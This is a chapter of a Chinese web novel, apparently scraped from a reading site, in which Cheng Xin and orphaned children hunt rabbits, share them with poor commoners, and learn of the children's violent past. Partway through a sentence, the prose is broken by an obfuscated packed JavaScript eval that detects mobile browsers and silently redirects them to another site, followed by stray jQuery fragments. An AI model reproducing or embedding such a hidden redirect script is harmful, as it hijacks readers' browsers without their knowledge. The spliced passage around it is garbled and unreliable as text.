默认冷灰
24号文字
方正启体

17.第 17 章

作者:秋如风本书字数:K更新时间:
    程信足足十秒没动地方,脑子里思绪烦杂,最后只剩下三个字:为什么?


    为什么要背井离乡来到这个地方,拼着性命不要去杀一只兔子?要赚钱怎么不能赚,为什么要用这种方法?


    十秒后他带着玄武四人往外走,木然地看着不少人捧着死兔子进来,眼里带着希翼和悲伤,也看到不少人捧着金币出来,全都泪流满面。


    他想起来了,刚穿越的时候,他在帮会注册大厅就见过不少这样的人:他们来自同一个地方,有着相似的面容,穿着破旧,拘谨地组建一个帮会。他当时以为他们要寻求发财的机会,可是不知道他们所谓的发财机会要用人命来填。


    这样的人以前不知道有多少,以后也不知道还有多少。


    为什么?为什么?


    因为这事,程信兴致全无,带着玄武四人回了基地,简单说了两句,就躺在床上蒙上被子。


    孩子们觉得奇怪,问玄武四人出了什么事。玄武四人也很茫然,摇头:“本来好好的,突然这样了。”


    孩子们得不到答案,只得等待。


    第二天程信又和以前一样笑呵呵呵的,他说:“我昨天打听清楚了,咱们练的技能还是挺厉害的,一会儿继续比试,每组的前2名跟我出去,咱们先拿兔子练练手。”谨慎起见,他们还是先从兔子开始吧。


    听到程信这次要带8个人,孩子们更兴奋了,一番比试之后,赢到最后的8个人是程明华、玄武、程明红、朱雀、白虎、程豹、青龙、程东。


    程信对自己人没得说,一人一套绿装,又准备了不少其他东西,确认没有遗漏,才走出基地。


    他们的基地就在无尽茫林边上,转过弯就能进入。程信昨天得了大叔的话,还是有些担心:“小心点,先试探,别冲动。”


    孩子们点头,神色谨慎,他们都知道兔子能踢死人。


    没多久,他们看见一只灰色兔子,正怡然自得地吃着鲜嫩的草叶。


    程信伸手,示意大家停下。


    看着这只大摇大摆的兔子,程信有些担心,大叔说的话靠谱吗?要是不靠谱他们今天可都要交待在这里了。


    八个孩子心里也打鼓,握紧了手里的武器,没敢动。


    他们观察了足足五六分钟,程信才低声说:“小玄子,敢吗?”


    “敢。”玄武点头,眼里划过狠厉。


    “那就你来。”程信做了个深呼吸,说:“一会儿一击不中,马上撤。”


    “嗯。”玄武肃然点头,提起长剑,身体微曲,蓄势待发。


    程信把水晶球取出来:“我说去,你再去。”


    玄武点头。


    程信使用意念师技能,给玄武上增益BUFF,然后对准不远处的兔子,使用负面BUFF。


    “就是现在,去!”


    玄武顾不得惊讶,对着不远处的兔子,剑客一阶技能,使用!


    他的速度很快,一眨眼的功夫,一击即退。


    程信的心一直提着,直到玄武回来才松了口气,再看兔子,已经倒在了地上,身下一滩血。


    他们怔了怔,猛然齐声欢呼:“成了!”


    程信也笑了。


    有了第一只的经验,后面就轻松多了,一个小时以后,他们收获了整整十只兔子,这还是他们大部分时间用在找兔子上,若是找到兔子,简直轻而易举,手到擒来。


    孩子们都很高兴,只有玄武的脸色不太好看,他终于明白了为什么每次都打不过程明华。


    程信摸摸鼻子,见玄武盯着他看,嘿嘿笑着说:“小玄子,做为一个男人,一定要大度,要是斤斤计较,女孩子不会喜欢的。”


    玄武做了个深呼吸,扭过头去。


    程信嘿嘿一笑,很是得意。倒是程明华有些过意不去:“咱俩比试的时候,程信哥哥给我加了增益BUFF,要不然你早就赢了。”


    “什么?!”其他孩子惊了,看看程信,看看玄武,看看程明华,瞠目结舌。这次出来,他们才真正领教了程信哥哥的意念师技能,增益BUFF能让他们的各项能力提升一小截,负面BUFF则让兔子的各项能力降低一小截,一加一减,效果很明显。


    以前程信哥哥从来没用过意念师技能,他们也不知道程信哥哥竟然早就用来偷偷帮过明华姐姐。


    想到这里,他们用同情的目光看着玄武:玄武哥哥,你被程信哥哥捉弄得好惨。


    “明华你说出来干什么?都不好玩了。”程信摆摆手,笑得十分灿烂。


    玄武无奈,深深地叹了口气。


    孩子们乐了,笑得十分欢快,程明华也忍不住莞尔。


    忽然,程东淡得几乎看不见的眉毛一扬,说:“有人来了。”


    他们转头,果然看到几个人绕着他们走,似乎很怕他们。


    程信看得清楚,那几个人穿着破旧,长相相似,手里拿的武器不过是家用的锄头斧头铁锨。程信一怔之下,马上高喊:“那边的几位大哥,请过来!”


    那几个人听到程信的话,明显慌乱了一会儿,似乎在商量什么,还是慢慢往这边走,脸上的害怕一望即知。


    孩子们都奇怪程信叫他们干什么,却没阻止,只是默默地握紧了手里的武器,提起了十二分小心。


    他们距离二十米的时候,程信喊住了他们:“站那里就行。”


    那几人停住了,看着程信他们,害怕,卑微。


    百般滋味在程信心头划过,他低声说:“扔给他们一只兔子。”


    孩子们一愣,玄武却马上把一只兔子扔过去,落在那几人面前。


    程信扫了一眼那只黄黄的兔子,大声说:“这只兔子的毛不好,我不喜欢,正好送你们了。”


    那几人愣了,看看程信,再看看地上的兔子,脸上都是不敢置信,然而,他们没有一个人弯腰去捡。


    程信见了,扭头就走,连头都不回。孩子们看了那几人一眼,跟上了程信。


    走到看不到他们的地方,程信才说:“他们应该会把那只兔子捡走吧?”


    “会。”程明华肯定地说。


    “那就好。”程信松了口气,他还怕那些人害怕得连捡都不敢捡。


    程信对他们说:“以后你们若是再遇到那样的人,就给他们一只兔子。他们只是普通人,为了一只兔子,人命都得搭上几条。咱们却不同,轻而易举,帮帮他们不算什么。”


    “呃?你们怎么不说话?不同意?”程信见他们神色各异,纳闷。


    孩子们赶紧摇头。程信笑着说:“就是嘛,多大点事,能帮就帮。”


    青龙突然说:“我们要是早点遇上程信哥哥就好了。”


    “早点你也遇不上我,我被你们绑走的时候,才来这里三天。”程信笑着说。


    青龙低头,不再说了。


    程信见他们的表情不对,疑惑:“你们这是怎么了?”见他们都不说,直接点名,“小玄子,你说。”


    玄武顿了一下,说:“跟我和明华一般大的孩子,原本有几十个。”


    “那怎么现在只剩下你们两个?”程信不假思索


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357382|167703||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地问,话一出口他反应过来了,露出歉意:“那个,抱歉。”


    “不用抱歉。”玄武摇头,不再说了。


    倒是程明华接口:“饿死的,病死的,被打死的,隔几天就要死一个,我们都习惯了。”


    程明红补充:“被打死的最多。”


    “谁打你们?”程信不敢相信。


    “谁都会,凡是看到我们的人,都可能打死我们,跑得快还能捡回一条命。”程明红柔和的脸上一片淡然,仿佛说着平常的事。


    “为什么?!”程信一脸不可思议:“你们只是孩子!”


    白虎平静地解释:“我们什么都不会,为了活下去,只能去偷去抢。他们见到我们,当然不是打就是杀。”


    “那也不能打死人啊!何况你们还是孩子!”程信万分不能理解。


    孩子们苦笑,只有程信哥哥会这么想吧。


    这事过后,他们又收获了不少兔子,也又送出去一只。程信看着数量不少的兔子,高兴地说:“拿回去,咱们自己吃。”10金币一斤的兔肉,先尝尝再说。


    他们满载而归,受到了孩子们的热烈欢迎。程信大手一挥:“今天咱们吃兔肉!”


    孩子们更开心了,很快有学庖丁技能的孩子过来处理,这是他们第一次用庖丁技能,生疏得很,皮毛碎得不能用,肉块也大小不一,反正是自己吃,无所谓。处理完成,又有会烹饪技能的孩子过来做饭。


    他们收获的兔子不少,但他们的人更多,分到每个人碗里的,只有三块。


    程信笑着说:“咱们今天也尝尝这兔肉,在任务大厅,一斤能换10个金币呢。”10金币能买金姐那里的衣服20套。


    孩子们看着碗里的兔肉,都很吃惊:“这么贵?”


    “管它多贵,先吃再说。”程信第一个下筷。孩子们见了,也好奇地开始吃。


    吃完,程信满足地咂咂嘴,说:“不愧是10金币一斤的兔肉,就是好吃。”不但好吃,还有一种说不出的感觉,很舒服,仿佛每个毛孔都张开了。


    这么好吃的兔肉,只吃三块怎么够?何况兔子对他们毫无威胁。程信下了一个决定:“以后咱们天天出去猎兔子,吃兔肉!”等吃烦了再去任务大厅换钱。


    从这天开始,程信每天派出20个人,两个人一组,分段搜寻着兔子的身影。可怜兔子们在无尽茫林边缘嚣张了多少年,竟然遇上了这么一群人,不去猎高阶的异兽,只盯着可怜的只有0阶的它们。


    吃了整整半个月的兔肉,程信终于发现了兔肉这么贵的奥秘:他的力气变大了,他竟然能将水桶提起来整整十秒,这在以前根本做不到。


    他兴奋地向孩子们说着这一发现,他们也试了试,却没什么感觉。


    程信想了想说:“或许是因为你们的力气本来就大,力气就算增加一点也不明显。”他们这些硅基人,拿着一百斤的剑跟玩一样,他才不跟他们比。


    兔肉竟然能涨力气,程信兴奋不已,恨不得一口气吃一百斤,却不后悔送一些出去。


    他事先叮嘱过,遇到不会技能的普通人来猎兔子,送一只给他们。半个月以来,他们累计送出了八十只兔子。


    这八十只兔子在帮会任务大厅被换成了金币,跟着它们的主人走向四面八方,甚至来到不同的国度。


    金币不多,人也不多,但这就像一锅沸水里加了一滴油,初期这滴油在水面上浮浮沉沉,最终的最终,这滴油一定会散成油花,扩散到每一个地方。


    何况程信将这件事做了整整五年。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)